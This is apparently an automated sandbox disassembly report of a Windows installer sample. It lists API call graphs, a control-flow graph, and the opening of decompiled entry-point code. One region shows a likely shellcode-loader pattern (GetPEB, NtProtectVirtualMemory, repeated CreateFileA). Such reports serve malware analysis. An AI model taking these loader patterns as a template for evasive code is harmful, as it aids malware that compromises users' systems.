4024a6 25087->25088 25101 402e36 25088->25101 25091 402c2a 25092 4024de 25094 4024ea 25092->25094 25125 402d84 25092->25125 25093 402da6 17 API calls 25097 4024d4 lstrlenW 25093->25097 25096 402509 RegSetValueExW 25094->25096 25105 4032b4 25094->25105 25099 40251f RegCloseKey 25096->25099 25097->25092 25099->25091 25102 402e51 25101->25102 25128 4063d8 25102->25128 25106 4032cd 25105->25106 25107 4032fb 25106->25107 25137 4034e5 SetFilePointer 25106->25137 25132 4034cf 25107->25132 25111 403468 25113 4034aa 25111->25113 25118 40346c 25111->25118 25112 403318 GetTickCount 25114 403452 25112->25114 25121 403367 25112->25121 25115 4034cf ReadFile 25113->25115 25114->25096 25115->25114 25116 4034cf ReadFile 25116->25121 25117 4034cf ReadFile 25117->25118 25118->25114 25118->25117 25119 4060df WriteFile 25118->25119 25119->25118 25120 4033bd GetTickCount 25120->25121 25121->25114 25121->25116 25121->25120 25122 4033e2 MulDiv wsprintfW 25121->25122 25135 4060df WriteFile 25121->25135 25123 40559f 24 API calls 25122->25123 25123->25121 25126 40657a 17 API calls 25125->25126 25127 402d99 25126->25127 25127->25094 25129 4063e7 25128->25129 25130 4063f2 RegCreateKeyExW 25129->25130 25131 4024b6 25129->25131 25130->25131 25131->25091 25131->25092 25131->25093 25138 4060b0 ReadFile 25132->25138 25136 4060fd 25135->25136 25136->25121 25137->25107 25139 403306 25138->25139 25139->25111 25139->25112 25139->25114 25140 2ba90b4 25142 2ba8e9c 25140->25142 25141 2ba90d6 25142->25141 25144 2bc4c70 CreateFileA 25142->25144 25144->25142 25145 402891 25146 402898 25145->25146 25148 402ba9 25145->25148 25147 402d84 17 API calls 25146->25147 25149 40289f 25147->25149 25150 4028ae SetFilePointer 25149->25150 25150->25148 25151 4028be 25150->25151 25153 406484 wsprintfW 25151->25153 25153->25148 25154 405513 25155 405523 25154->25155 25156 405537 25154->25156 25157 405529 25155->25157 25167 405580 25155->25167 25158 40553f IsWindowVisible 25156->25158 25164 40555f 25156->25164 25168 4044e5 25157->25168 25161 40554c 25158->25161 25158->25167 25159 405585 CallWindowProcW 25162 405533 25159->25162 25171 404e54 SendMessageW GetMessagePos ScreenToClient SendMessageW SendMessageW 25161->25171 25164->25159 25172 404ed4 MulDiv SendMessageW wsprintfW lstrcpynW 25164->25172 25165 405556 25165->25164 25167->25159 25169 4044fd 25168->25169 25170 4044ee SendMessageW 25168->25170 25169->25162 25170->25169 25171->25165 25172->25167 25173 70692a7f 25174 70692acf 25173->25174 25175 70692a8f VirtualProtect 25173->25175 25175->25174 25176 4020d8 25177 4020ea 25176->25177 25187 40219c 25176->25187 25178 402da6 17 API calls 25177->25178 25180 4020f1 25178->25180 25179 401423 24 API calls 25185 4022f6 25179->25185 25181 402da6 17 API calls 25180->25181 25182 4020fa 25181->25182 25183 402110 LoadLibraryExW 25182->25183 25184 402102 GetModuleHandleW 25182->25184 25186 402121 25183->25186 25183->25187 25184->25183 25184->25186 25199 406979 25186->25199 25187->25179 25190 402132 25193 402151 25190->25193 25194 40213a 25190->25194 25191 40216b 25192 40559f 24 API calls 25191->25192 25195 402142 25192->25195 25204 70691817 25193->25204 25196 401423 24 API calls 25194->25196 25195->25185 25197 40218e FreeLibrary 25195->25197 25196->25195 25197->25185 25246 40655f WideCharToMultiByte 25199->25246 25201 406996 25202 40699d GetProcAddress 25201->25202 25203 40212c 25201->25203 25202->25203 25203->25190 25203->25191 25205 7069184a 25204->25205 25247 70691bff 25205->25247 25207 70691851 25208 70691976 25207->25208 25209 70691869 25207->25209 25210 70691862 25207->25210 25208->25195 25281 70692480 25209->25281 25297 7069243e GlobalAlloc 25210->25297 25213 70691868 25213->25209 25215 706918cd 25221 7069191e 25215->25221 25222 706918d3 25215->25222 25216 706918af 25300 70692655 10 API calls 25216->25300 25217 70691898 25230 7069188e 25217->25230 25299 70692e23 GlobalFree 25217->25299 25218 7069187f 25220 70691885 25218->25220 25226 70691890 25218->25226 25220->25230 25291 70692b98 25220->25291 25305 70692655 10 API calls 25221->25305 25303 70691666 wsprintfW lstrcpyW 25222->25303 25225 706918b5 25301 70691654 GlobalAlloc wsprintfW lstrcpyW 25225->25301 25298 70692810 GlobalAlloc GlobalSize 25226->25298 25229 706918f0 25304 70692655 10 API calls 25229->25304 25230->25215 25230->25216 25231 7069190f 25237 70691965 25231->25237 25306 70692618 GlobalFree 25231->25306 25235 706918bb 25302 70691312 GlobalAlloc lstrcpynW 25235->25302 25236 70691896 25236->25230 25237->25208 25239 7069196f GlobalFree 25237->25239 25239->25208 25241 706918c1 GlobalFree 25241->25231 25242 70691931 25243 70691951 25242->25243 25244 7069194a FreeLibrary 25242->25244 25243->25237 25307 706915dd GlobalAlloc lstrcpynW wsprintfW 25243->25307 25244->25243 25246->25201 25308 706912bb GlobalAlloc 25247->25308 25249 70691c26 25309 706912bb GlobalAlloc 25249->25309 25251 70691c31 25252 70691e6b GlobalFree GlobalFree GlobalFree 25251->25252 25254 70691d26 GlobalAlloc 25251->25254 25257 70691d71 lstrcpyW 25251->25257 25258 70691d8f GlobalFree 25251->25258 25262 70691d7b lstrcpyW 25251->25262 25265 70692126 25251->25265 25269 70691ed2 25251->25269 25272 70692067 GlobalFree 25251->25272 25274 70691dcd 25251->25274 25275 706921ae 25251->25275 25313 706912cc GlobalAlloc lstrcpynW 25251->25313 25253 70691e88 25252->25253 25252->25269 25255 7069227e 25253->25255 25263 70691e9d 25253->25263 25253->25269 25254->25251 25256 706922a0 GetModuleHandleW 25255->25256 25255->25269 25259 706922b1 LoadLibraryW 25256->25259 25260 706922c6 25256->25260 25257->25262 25258->25251 25259->25260 25259->25269 25314 706916bd WideCharToMultiByte GlobalAlloc WideCharToMultiByte GetProcAddress GlobalFree 25260->25314 25262->25251 25263->25269 25311 706912cc GlobalAlloc lstrcpynW 25263->25311 25264 70692318 25268 70692325 lstrlenW 25264->25268 25264->25269 25312 706912bb GlobalAlloc 25265->25312 25315 706916bd WideCharToMultiByte GlobalAlloc WideCharToMultiByte GetProcAddress GlobalFree 25268->25315 25269->25207 25270 706922d8 25270->25264 25279 70692302 GetProcAddress 25270->25279 25272->25251 25274->25251 25310 7069162f GlobalSize GlobalAlloc 25274->25310 25275->25269 25278 70692216 lstrcpyW 25275->25278 25276 7069233f 25276->25269 25278->25269 25279->25264 25280 7069212f 25280->25207 25288 70692498 25281->25288 25283 706925c1 GlobalFree 25286 7069186f 25283->25286 25283->25288 25284 7069256b GlobalAlloc CLSIDFromString 25284->25283 25285 70692540 GlobalAlloc WideCharToMultiByte 25285->25283 25286->25217 25286->25218 25286->25230 25287 706912cc GlobalAlloc lstrcpynW 25287->25288 25288->25283 25288->25284 25288->25285 25288->25287 25290 7069258a 25288->25290 25316 7069135a GlobalAlloc lstrcpynW 25288->25316 25290->25283 25317 706927a4 VirtualAlloc 25290->25317 25293 70692baa 25291->25293 25292 70692c4f VirtualAlloc 25296 70692c6d 25292->25296 25293->25292 25295 70692d39 25295->25230 25318 70692b42 GetLastError 25296->25318 25297->25213 25298->25236 25300->25225 25301->25235 25302->25241 25303->25229 25304->25231 25305->25231 25306->25242 25307->25237 25308->25249 25309->25251 25310->25274 25311->25269 25312->25280 25313->25251 25314->25270 25315->25276 25316->25288 25317->25290 25318->25295 25319 2ba8a22 25320 2ba89d2 EnumWindows 25319->25320 25321 2ba8a29 25319->25321 25323 403f9a 25324 403fb2 25323->25324 25325 404113 25323->25325 25324->25325 25326 403fbe 25324->25326 25327 404124 GetDlgItem GetDlgItem 25325->25327 25332 404164 25325->25332 25329 403fc9 SetWindowPos 25326->25329 25330 403fdc 25326->25330 25331 404499 18 API calls 25327->25331 25328 4041be 25333 4044e5 SendMessageW 25328->25333 25341 40410e 25328->25341 25329->25330 25334 403fe5 ShowWindow 25330->25334 25335 404027 25330->25335 25336 40414e SetClassLongW 25331->25336 25332->25328 25340 401389 2 API calls 25332->25340 25363 4041d0 25333->25363 25342 404100 25334->25342 25343 404005 GetWindowLongW 25334->25343 25337 404046 25335->25337 25338 40402f DestroyWindow 25335->25338 25339 40140b 2 API calls 25336->25339 25345 40404b SetWindowLongW 25337->25345 25346 40405c 25337->25346 25344 404443 25338->25344 25339->25332 25347 404196 25340->25347 25411 404500 8 API calls 25342->25411 25343->25342 25349 40401e ShowWindow 25343->25349 25344->25341 25356 404453 ShowWindow 25344->25356 25345->25341 25346->25342 25350 404068 GetDlgItem 25346->25350 25347->25328 25351 40419a SendMessageW 25347->25351 25349->25335 25354 404096 25350->25354 25355 404079 SendMessageW IsWindowEnabled 25350->25355 25351->25341 25352 40140b 2 API calls 25352->25363 25353 404424 DestroyWindow EndDialog 25353->25344 25358 4040a3 25354->25358 25360 4040ea SendMessageW 25354->25360 25361 4040b6 25354->25361 25370 40409b 25354->25370 25355->25341 25355->25354 25356->25341 25357 40657a 17 API calls 25357->25363 25358->25360 25358->25370 25360->25342 25364 4040d3 25361->25364 25365 4040be 25361->25365 25362 4040d1 25362->25342 25363->25341 25363->25352 25363->25353 25363->25357 25366 404499 18 API calls 25363->25366 25371 404499 18 API calls 25363->25371 25387 404364 DestroyWindow 25363->25387 25367 40140b 2 API calls 25364->25367 25407 40140b 25365->25407 25366->25363 25369 4040da 25367->25369 25369->25342 25369->25370 25410 404472 SendMessageW 25370->25410 25372 40424b GetDlgItem 25371->25372 25373 404260 25372->25373 25374 404268 ShowWindow KiUserCallbackDispatcher 25372->25374 25373->25374 25397 4044bb EnableWindow 25374->25397 25376 404292 EnableWindow 25381 4042a6 25376->25381 25377 4042ab GetSystemMenu EnableMenuItem SendMessageW 25378 4042db SendMessageW 25377->25378 25377->25381 25378->25381 25381->25377 25398 4044ce SendMessageW 25381->25398 25399 403f7b 25381->25399 25402 40653d lstrcpynW 25381->25402 25383 40430a lstrlenW 25384 40657a 17 API calls 25383->25384 25385 404320 SetWindowTextW 25384->25385 25403 401389 25385->25403 25387->25344 25388 40437e CreateDialogParamW 25387->25388 25388->25344 25389 4043b1 25388->25389 25390 404499 18 API calls 25389->25390 25391 4043bc GetDlgItem GetWindowRect ScreenToClient SetWindowPos 25390->25391 25392 401389 2 API calls 25391->25392 25393 404402 25392->25393 25393->25341 25394 40440a ShowWindow 25393->25394 25395 4044e5 SendMessageW 25394->25395 25396 404422 25395->25396 25396->25344 25397->25376 25398->25381 25400 40657a 17 API calls 25399->25400 25401 403f89 SetWindowTextW 25400->25401 25401->25381 25402->25383 25405 401390 25403->25405 25404 4013fe 25404->25363 25405->25404 25406 4013cb MulDiv SendMessageW 25405->25406 25406->25405 25408 401389 2 API calls 25407->25408 25409 401420 25408->25409 25409->25370 25410->25362 25411->25341 25412 401b9b 25413 401ba8 25412->25413 25414 401bec 25412->25414 25417 401c31 25413->25417 25421 401bbf 25413->25421 25415 401bf1 25414->25415 25416 401c16 GlobalAlloc 25414->25416 25423 40239d 25415->25423 25433 40653d lstrcpynW 25415->25433 25418 40657a 17 API calls 25416->25418 25419 40657a 17 API calls 25417->25419 25417->25423 25418->25417 25425 402397 25419->25425 25431 40653d lstrcpynW 25421->25431 25422 401c03 GlobalFree 25422->25423 25434 405b9d MessageBoxIndirectW 25425->25434 25426 401bce 25432 40653d lstrcpynW 25426->25432 25429 401bdd 25435 40653d lstrcpynW 25429->25435 25431->25426 25432->25429 25433->25422 25434->25423 25435->25423 25436 40175c 25437 402da6 17 API calls 25436->25437 25438 401763 25437->25438 25442 40605c 25438->25442 25440 40176a 25441 40605c 2 API calls 25440->25441 25441->25440 25443 406069 GetTickCount GetTempFileNameW 25442->25443 25444 40609f 25443->25444 25445 4060a3 25443->25445 25444->25443 25444->25445 25445->25440 25446 401ede 25447 402d84 17 API calls 25446->25447 25448 401ee4 25447->25448 25449 402d84 17 API calls 25448->25449 25450 401ef0 25449->25450 25451 401f07 EnableWindow 25450->25451 25452 401efc ShowWindow 25450->25452 25453 402c2a 25451->25453 25452->25453 25454 40259e 25465 402de6 25454->25465 25457 402d84 17 API calls 25458 4025b1 25457->25458 25459 4025d9 RegEnumValueW 25458->25459 25460 4025cd RegEnumKeyW 25458->25460 25463 40292e 25458->25463 25461 4025f5 RegCloseKey 25459->25461 25462 4025ee 25459->25462 25460->25461 25461->25463 25462->25461 25466 402da6 17 API calls 25465->25466 25467 402dfd 25466->25467 25468 4063aa RegOpenKeyExW 25467->25468 25469 4025a8 25468->25469 25469->25457 25470 4015a3 25471 402da6 17 API calls 25470->25471 25472 4015aa SetFileAttributesW 25471->25472 25473 4015bc 25472->25473 25474 40252a 25475 402de6 17 API calls 25474->25475 25476 402534 25475->25476 25477 402da6 17 API calls 25476->25477 25478 40253d 25477->25478 25479 402548 RegQueryValueExW 25478->25479 25484 40292e 25478->25484 25480 40256e RegCloseKey 25479->25480 25481 402568 25479->25481 25480->25484 25481->25480 25485 406484 wsprintfW 25481->25485 25485->25480 25486 4026ec 25487 402d84 17 API calls 25486->25487 25488 4026fb 25487->25488 25489 402745 ReadFile 25488->25489 25490 4027de 25488->25490 25491 4060b0 ReadFile 25488->25491 25493 402785 MultiByteToWideChar 25488->25493 25494 40283a 25488->25494 25496 4027ab SetFilePointer MultiByteToWideChar 25488->25496 25497 40284b 25488->25497 25499 402838 25488->25499 25489->25488 25489->25499 25490->25488 25490->25499 25500 40610e ReadFile WriteFile SetFilePointer SetFilePointer SetFilePointer 25490->25500 25491->25488 25493->25488 25501 406484 wsprintfW 25494->25501 25496->25488 25498 40286c SetFilePointer 25497->25498 25497->25499 25498->25499 25500->25490 25501->25499 25502 40352d SetErrorMode GetVersionExW 25503 4035b7 25502->25503 25504 40357f GetVersionExW 25502->25504 25505 403610 25503->25505 25506 40690a 5 API calls 25503->25506 25504->25503 25507 40689a 3 API calls 25505->25507 25506->25505 25508 403626 lstrlenA 25507->25508 25508->25505 25509 403636 25508->25509 25510 40690a 5 API calls 25509->25510 25511 40363d 25510->25511 25512 40690a 5 API calls 25511->25512 25513 403644 25512->25513 25514 40690a 5 API calls 25513->25514 25515 403650 #17 OleInitialize SHGetFileInfoW 25514->25515 25593 40653d lstrcpynW 25515->25593 25518 40369d GetCommandLineW 25594 40653d lstrcpynW 25518->25594 25520 4036af 25521 405e39 CharNextW 25520->25521 25522 4036d5 CharNextW 25521->25522 25528 4036e6 25522->25528 25523 4037e4 25524 4037f8 GetTempPathW 25523->25524 25595 4034fc 25524->25595 25526 403810 25529 403814 GetWindowsDirectoryW lstrcatW 25526->25529 25530 40386a DeleteFileW 25526->25530 25527 405e39 CharNextW 25527->25528 25528->25523 25528->25527 25537 4037e6 25528->25537 25532 4034fc 12 API calls 25529->25532 25605 40307d GetTickCount GetModuleFileNameW 25530->25605 25533 403830 25532->25533 25533->25530 25536 403834 GetTempPathW lstrcatW SetEnvironmentVariableW SetEnvironmentVariableW 25533->25536 25534 40387d 25535 403941 25534->25535 25538 403932 25534->25538 25543 405e39 CharNextW 25534->25543 25697 403b12 70 API calls 25535->25697 25541 4034fc 12 API calls 25536->25541 25689 40653d lstrcpynW 25537->25689 25633 403bec 25538->25633 25542 403862 25541->25542 25542->25530 25542->25535 25558 40389f 25543->25558 25545 403a5e OleUninitialize 25546 403a69 25545->25546 25547 403a7e 25545->25547 25698 405b9d MessageBoxIndirectW 25546->25698 25548 403a86 GetCurrentProcess OpenProcessToken 25547->25548 25549 403afc ExitProcess 25547->25549 25551 403acc 25548->25551 25552 403a9d LookupPrivilegeValueW AdjustTokenPrivileges 25548->25552 25557 40690a 5 API calls 25551->25557 25552->25551 25554 403908 25560 405f14 18 API calls 25554->25560 25555 403949 25559 405b08 5 API calls 25555->25559 25556 403a76 ExitProcess 25562 403ad3 25557->25562 25558->25554 25558->25555 25563 40394e lstrcatW 25559->25563 25561 403914 25560->25561 25561->25535 25690 40653d lstrcpynW 25561->25690 25564 403ae8 ExitWindowsEx 25562->25564 25568 403af5 25562->25568 25565 40396a lstrcatW lstrcmpiW 25563->25565 25566 40395f lstrcatW 25563->25566 25564->25549 25564->25568 25565->25535 25569 40398a 25565->25569 25566->25565 25571 40140b 2 API calls 25568->25571 25572 403996 25569->25572 25573 40398f 25569->25573 25570 403927 25691 40653d lstrcpynW 25570->25691 25571->25549 25575 405aeb 2 API calls 25572->25575 25574 405a6e 4 API calls 25573->25574 25577 403994 25574->25577 25578 40399b SetCurrentDirectoryW 25575->25578 25577->25578 25579 4039b8 25578->25579 25580 4039ad 25578->25580 25693 40653d lstrcpynW 25579->25693 25692 40653d lstrcpynW 25580->25692 25583 40657a 17 API calls 25584 4039fa DeleteFileW 25583->25584 25585 403a06 CopyFileW 25584->25585 25590 4039c5 25584->25590 25585->25590 25586 403a50 25696 4062fd 36 API calls 25586->25696 25589 40657a 17 API calls 25589->25590 25590->25583 25590->25586 25590->25589 25592 403a3a CloseHandle 25590->25592 25694 4062fd 36 API calls 25590->25694 25695 405b20 CreateProcessW CloseHandle 25590->25695 25592->25590 25593->25518 25594->25520 25596 4067c4 5 API calls 25595->25596 25598 403508 25596->25598 25597 403512 25597->25526 25598->25597 25599 405e0c 3 API calls 25598->25599 25600 40351a 25599->25600 25601 405aeb 2 API calls 25600->25601 25602 403520 25601->25602 25603 40605c 2 API calls 25602->25603 25604 40352b 25603->25604 25604->25526 25699 40602d GetFileAttributesW CreateFileW 25605->25699 25607 4030bd 25627 4030cd 25607->25627 25700 40653d lstrcpynW 25607->25700 25609 4030e3 25610 405e58 2 API calls 25609->25610 25611 4030e9 25610->25611 25701 40653d lstrcpynW 25611->25701 25613 4030f4 GetFileSize 25614 4031ee 25613->25614 25632 40310b 25613->25632 25702 403019 25614->25702 25616 4031f7 25618 403227 GlobalAlloc 25616->25618 25616->25627 25714 4034e5 SetFilePointer 25616->25714 25617 4034cf ReadFile 25617->25632 25713 4034e5 SetFilePointer 25618->25713 25619 40325a 25623 403019 6 API calls 25619->25623 25622 403242 25626 4032b4 31 API calls 25622->25626 25623->25627 25624 403210 25625 4034cf ReadFile 25624->25625 25629 40321b 25625->25629 25630 40324e 25626->25630 25627->25534 25628 403019 6 API calls 25628->25632 25629->25618 25629->25627 25630->25627 25630->25630 25631 40328b SetFilePointer 25630->25631 25631->25627 25632->25614 25632->25617 25632->25619 25632->25627 25632->25628 25634 40690a 5 API calls 25633->25634 25635 403c00 25634->25635 25636 403c06 GetUserDefaultUILanguage 25635->25636 25637 403c18 25635->25637 25716 406484 wsprintfW 25636->25716 25639 40640b 3 API calls 25637->25639 25641 403c48 25639->25641 25640 403c16 25717 403ec2 25640->25717 25642 403c67 lstrcatW 25641->25642 25643 40640b 3 API calls 25641->25643 25642->25640 25643->25642 25646 405f14 18 API calls 25647 403c99 25646->25647 25648 403d2d 25647->25648 25650 40640b 3 API calls 25647->25650 25649 405f14 18 API calls 25648->25649 25651 403d33 25649->25651 25652 403ccb 25650->25652 25653 403d43 LoadImageW 25651->25653 25654 40657a 17 API calls 25651->25654 25652->25648 25657 403cec lstrlenW 25652->25657 25660 405e39 CharNextW 25652->25660 25655 403de9 25653->25655 25656 403d6a RegisterClassW 25653->25656 25654->25653 25659 40140b 2 API calls 25655->25659 25658 403da0 SystemParametersInfoW CreateWindowExW 25656->25658 25688 403df3 25656->25688 25661 403d20 25657->25661 25662 403cfa lstrcmpiW 25657->25662 25658->25655 25663 403def 25659->25663 25665 403ce9 25660->25665 25664 405e0c 3 API calls 25661->25664 25662->25661 25666 403d0a GetFileAttributesW 25662->25666 25667 403ec2 18 API calls 25663->25667 25663->25688 25668 403d26 25664->25668 25665->25657 25669 403d16 25666->25669 25670 403e00 25667->25670 25725 40653d lstrcpynW 25668->25725 25669->25661 25672 405e58 2 API calls 25669->25672 25673 403e0c ShowWindow 25670->25673 25674 403e8f 25670->25674 25672->25661 25675 40689a 3 API calls 25673->25675 25726 405672 MulDiv SendMessageW SendMessageW OleInitialize OleUninitialize 25674->25726 25678 403e24 25675->25678 25677 403e95 25679 403eb1 25677->25679 25680 403e99 25677->25680 25681 403e32 GetClassInfoW 25678->25681 25683 40689a 3 API calls 25678->25683 25682 40140b 2 API calls 25679->25682 25686 40140b 2 API calls 25680->25686 25680->25688 25684 403e46 GetClassInfoW RegisterClassW 25681->25684 25685 403e5c DialogBoxParamW 25681->25685 25682->25688 25683->25681 25684->25685 25687 40140b 2 API calls 25685->25687 25686->25688 25687->25688 25688->25535 25689->25524 25690->25570 25691->25538 25692->25579 25693->25590 25694->25590 25695->25590 25696->25535 25697->25545 25698->25556 25699->25607 25700->25609 25701->25613 25703 403022 25702->25703 25704 40303a 25702->25704 25705 403032 25703->25705 25706 40302b DestroyWindow 25703->25706 25707 403042 25704->25707 25708 40304a GetTickCount 25704->25708 25705->25616 25706->25705 25715 406946 DispatchMessageW PeekMessageW 25707->25715 25709 403058 CreateDialogParamW ShowWindow 25708->25709 25710 40307b 25708->25710 25709->25710 25710->25616 25712 403048 25712->25616 25713->25622 25714->25624 25715->25712 25716->25640 25718 403ed6 25717->25718 25727 406484 wsprintfW 25718->25727 25720 403f47 25721 403f7b 18 API calls 25720->25721 25723 403f4c 25721->25723 25722 403c77 25722->25646 25723->25722 25724 40657a 17 API calls 25723->25724 25724->25723 25725->25648 25726->25677 25727->25720 25728 40176f 25729 402da6 17 API calls 25728->25729 25730 401776 25729->25730 25731 401796 25730->25731 25732 40179e 25730->25732 25770 40653d lstrcpynW 25731->25770 25771 40653d lstrcpynW 25732->25771 25735 4017a9 25737 405e0c 3 API calls 25735->25737 25736 40179c 25739 4067c4 5 API calls 25736->25739 25738 4017af lstrcatW 25737->25738 25738->25736 25754 4017bb 25739->25754 25740 406873 2 API calls 25740->25754 25743 4017cd CompareFileTime 25743->25754 25744 40188d 25745 40559f 24 API calls 25744->25745 25748 401897 25745->25748 25746 40559f 24 API calls 25756 401879 25746->25756 25747 40653d lstrcpynW 25747->25754 25749 4032b4 31 API calls 25748->25749 25750 4018aa 25749->25750 25751 4018be SetFileTime 25750->25751 25753 4018d0 CloseHandle 25750->25753 25751->25753 25752 40657a 17 API calls 25752->25754 25755 4018e1 25753->25755 25753->25756 25754->25740 25754->25743 25754->25744 25754->25747 25754->25752 25764 401864 25754->25764 25766 406008 GetFileAttributesW 25754->25766 25769 40602d GetFileAttributesW CreateFileW 25754->25769 25772 405b9d MessageBoxIndirectW 25754->25772 25757 4018e6 25755->25757 25758 4018f9 25755->25758 25760 40657a 17 API calls 25757->25760 25759 40657a 17 API calls 25758->25759 25763 401901 25759->25763 25761 4018ee lstrcatW 25760->25761 25761->25763 25773 405b9d MessageBoxIndirectW 25763->25773 25764->25746 25764->25756 25767 406027 25766->25767 25768 40601a SetFileAttributesW 25766->25768 25767->25754 25768->25767 25769->25754 25770->25736 25771->25735 25772->25754 25773->25756 25774 4023b2 25775 4023ba 25774->25775 25778 4023c0 25774->25778 25776 402da6 17 API calls 25775->25776 25776->25778 25777 402da6 17 API calls 25779 4023ce 25777->25779 25778->25777 25778->25779 25780 402da6 17 API calls 25779->25780 25782 4023dc 25779->25782 25780->25782 25781 402da6 17 API calls 25783 4023e5 WritePrivateProfileStringW 25781->25783 25782->25781 25784 2bc6dcf 25785 2bc6de9 25784->25785 25804 2ba8b76 25784->25804 25813 2bc4c70 CreateFileA 25785->25813 25787 2bc6def 25814 2bc4c70 CreateFileA 25787->25814 25789 2bc6e09 25791 2bc6e14 GetPEB 25789->25791 25792 2bc6e74 25791->25792 25791->25804 25815 2bc7ce2 NtProtectVirtualMemory 25792->25815 25794 2bc7696 25795 2bc6eab 25795->25794 25798 2bc7699 25795->25798 25810 2bc7229 25795->25810 25796 2bc3a66 CreateFileA 25796->25804 25797 2bc3a51 25809 2bc3a5e 25797->25809 25812 2bc4c70 CreateFileA 25797->25812 25803 2bc79e4 25798->25803 25806 2bc78b5 25798->25806 25800 2bc6a20 25802 2bc7cdf 25818 2bc7ce2 NtProtectVirtualMemory 25803->25818 25804->25796 25804->25797 25811 2bc4c70 CreateFileA 25804->25811 25817 2bc7ce2 NtProtectVirtualMemory 25806->25817 25808 2bc79e1 25816 2bc7ce2 NtProtectVirtualMemory 25810->25816 25811->25804 25812->25800 25813->25787 25814->25789 25815->25795 25816->25794 25817->25808 25818->25802 25819 402434 25820 402467 25819->25820 25821 40243c 25819->25821 25823 402da6 17 API calls 25820->25823 25822 402de6 17 API calls 25821->25822 25824 402443 25822->25824 25825 40246e 25823->25825 25826 40244d 25824->25826 25829 40247b 25824->25829 25831 402e64 25825->25831 25828 402da6 17 API calls 25826->25828 25830 402454 RegDeleteValueW RegCloseKey 25828->25830 25830->25829 25832 402e78 25831->25832 25833 402e71 25831->25833 25832->25833 25835 402ea9 25832->25835 25833->25829 25836 4063aa RegOpenKeyExW 25835->25836 25837 402ed7 25836->25837 25838 402ee1 25837->25838 25839 402f8c 25837->25839 25840 402ee7 RegEnumValueW 25838->25840 25844 402f0a 25838->25844 25839->25833 25841 402f71 RegCloseKey 25840->25841 25840->25844 25841->25839 25842 402f46 RegEnumKeyW 25843 402f4f RegCloseKey 25842->25843 25842->25844 25845 40690a 5 API calls 25843->25845 25844->25841 25844->25842 25844->25843 25846 402ea9 6 API calls 25844->25846 25847 402f5f 25845->25847 25846->25844 25848 402f81 25847->25848 25849 402f63 RegDeleteKeyW 25847->25849 25848->25839 25849->25839 25850 4023f4 25851 402da6 17 API calls 25850->25851 25852 402403 25851->25852 25853 402da6 17 API calls 25852->25853 25854 40240c 25853->25854 25855 402da6 17 API calls 25854->25855 25856 402416 GetPrivateProfileStringW 25855->25856

                                                                                                                Control-flow Graph

                                                                                                                • Executed
                                                                                                                • Not Executed
                                                                                                                control_flow_graph 0 40352d-40357d SetErrorMode GetVersionExW 1 4035b7-4035be 0->1 2 40357f-4035b3 GetVersionExW 0->2 3 4035c0 1->3 4 4035c8-403608 1->4 2->1 3->4 5 40360a-403612 call 40690a 4->5 6 40361b 4->6 5->6 11 403614 5->11 8 403620-403634 call 40689a lstrlenA 6->8 13 403636-403652 call 40690a * 3 8->13 11->6 20 403663-4036c5 #17 OleInitialize SHGetFileInfoW call 40653d GetCommandLineW call 40653d 13->20 21 403654-40365a 13->21 28 4036c7-4036c9 20->28 29 4036ce-4036e1 call 405e39 CharNextW 20->29 21->20 25 40365c 21->25 25->20 28->29 32 4037d8-4037de 29->32 33 4037e4 32->33 34 4036e6-4036ec 32->34 37 4037f8-403812 GetTempPathW call 4034fc 33->37 35 4036f5-4036fb 34->35 36 4036ee-4036f3 34->36 38 403702-403706 35->38 39 4036fd-403701 35->39 36->35 36->36 47 403814-403832 GetWindowsDirectoryW lstrcatW call 4034fc 37->47 48 40386a-403882 DeleteFileW call 40307d 37->48 41 4037c6-4037d4 call 405e39 38->41 42 40370c-403712 38->42 39->38 41->32 56 4037d6-4037d7 41->56 45 403714-40371b 42->45 46 40372c-403765 42->46 51 403722 45->51 52 40371d-403720 45->52 53 403781-4037bb 46->53 54 403767-40376c 46->54 47->48 66 403834-403864 GetTempPathW lstrcatW SetEnvironmentVariableW * 2 call 4034fc 47->66 62 403888-40388e 48->62 63 403a59-403a67 call 403b12 OleUninitialize 48->63 51->46 52->46 52->51 60 4037c3-4037c5 53->60 61 4037bd-4037c1 53->61 54->53 58 40376e-403776 54->58 56->32 64 403778-40377b 58->64 65 40377d 58->65 60->41 61->60 67 4037e6-4037f3 call 40653d 61->67 68 403894-4038a7 call 405e39 62->68 69 403935-40393c call 403bec 62->69 79 403a69-403a78 call 405b9d ExitProcess 63->79 80 403a7e-403a84 63->80 64->53 64->65 65->53 66->48 66->63 67->37 83 4038f9-403906 68->83 84 4038a9-4038de 68->84 78 403941-403944 69->78 78->63 81 403a86-403a9b GetCurrentProcess OpenProcessToken 80->81 82 403afc-403b04 80->82 86 403acc-403ada call 40690a 81->86 87 403a9d-403ac6 LookupPrivilegeValueW AdjustTokenPrivileges 81->87 89 403b06 82->89 90 403b09-403b0c ExitProcess 82->90 91 403908-403916 call 405f14 83->91 92 403949-40395d call 405b08 lstrcatW 83->92 88 4038e0-4038e4 84->88 104 403ae8-403af3 ExitWindowsEx 86->104 105 403adc-403ae6 86->105 87->86 95 4038e6-4038eb 88->95 96 4038ed-4038f5 88->96 89->90 91->63 103 40391c-403932 call 40653d * 2 91->103 106 40396a-403984 lstrcatW lstrcmpiW 92->106 107 40395f-403965 lstrcatW 92->107 95->96 101 4038f7 95->101 96->88 96->101 101->83 103->69 104->82 109 403af5-403af7 call 40140b 104->109 105->104 105->109 110 403a57 106->110 111 40398a-40398d 106->111 107->106 109->82 110->63 115 403996 call 405aeb 111->115 116 40398f-403994 call 405a6e 111->116 121 40399b-4039ab SetCurrentDirectoryW 115->121 116->121 123 4039b8-4039e4 call 40653d 121->123 124 4039ad-4039b3 call 40653d 121->124 128 4039e9-403a04 call 40657a DeleteFileW 123->128 124->123 131 403a44-403a4e 128->131 132 403a06-403a16 CopyFileW 128->132 131->128 133 403a50-403a52 call 4062fd 131->133 132->131 134 403a18-403a38 call 4062fd call 40657a call 405b20 132->134 133->110 134->131 142 403a3a-403a41 CloseHandle 134->142 142->131
                                                                                                                C-Code - Quality: 79%
                                                                                                                			_entry_() {
                                                                                                                				WCHAR* _v8;
                                                                                                                				signed int _v12;
                                                                                                                				void* _v16;
                                                                                                                				signed int _v20;
                                                                                                                				int _v24;
                                                                                                                				int _v28;
                                                                                                                				struct _TOKEN_PRIVILEGES _v40;
                                                                                                                				signed char _v42;
                                                                                                                				int _v44;
                                                                                                                				signed int _v48;
                                                                                                                				intOrPtr _v278;
                                                                                                                				signed short _v310;
                                                                                                                				struct _OSVERSIONINFOW _v324;
                                                                                                                				struct _SHFILEINFOW _v1016;
                                                                                                                				intOrPtr* _t88;
                                                                                                                				WCHAR* _t92;
                                                                                                                				char* _t94;
                                                                                                                				void _t97;
